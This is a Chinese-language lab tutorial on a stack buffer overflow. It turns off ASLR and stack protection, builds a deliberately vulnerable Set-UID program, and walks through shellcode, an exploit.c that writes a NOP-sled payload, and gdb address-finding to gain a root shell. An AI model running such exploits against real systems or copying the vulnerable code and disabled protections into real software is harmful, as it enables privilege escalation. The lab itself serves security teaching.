缓冲区溢出
作者:互联网
实验准备
本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。输入命令安装一些用于编译 32 位 C 程序的软件包:
sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb
安装结果如图:
(1)Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
sudo sysctl -w kernel.randomize_va_space=0
(2)此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现。
linux 系统中,/bin/sh 是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
(3)输入命令 linux32 进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了。
输入/bin/bash 使用bash:
(4)一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。
观察以下代码:
#include <stdio.h>
int main()
{
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
本次实验的 shellcode,就是刚才代码的汇编版本
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
在 /tmp 目录下新建一个 stack.c 文件:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置 SET-UID。命令如下:
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack
exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517); strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer + 100, shellcode);
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码,\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
现在我们要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:
gdb stack
disass main
esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。
接下来:
# 设置断点
b *0x080484ee
r
i r $esp
最后获得的这个 0xffffcfb0 就是 str 的地址。
根据语句 strcpy(buffer + 100,shellcode);
我们计算 shellcode 的地址
0xffffcfb0 + 0x64 = 0xffffd014
现在修改 exploit.c 文件,将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff,注意顺序是反的。
然后,编译 exploit.c 程序:
先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:
whoami 是输入的命令,不是输出结果。
可见,通过攻击,获得了root 权限!
通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。
没有获得root权限
标签:x90,bin,buffer,badfile,地址,缓冲区,shellcode,溢出 来源: https://www.cnblogs.com/shoudeyunkaijianyueming/p/15491048.html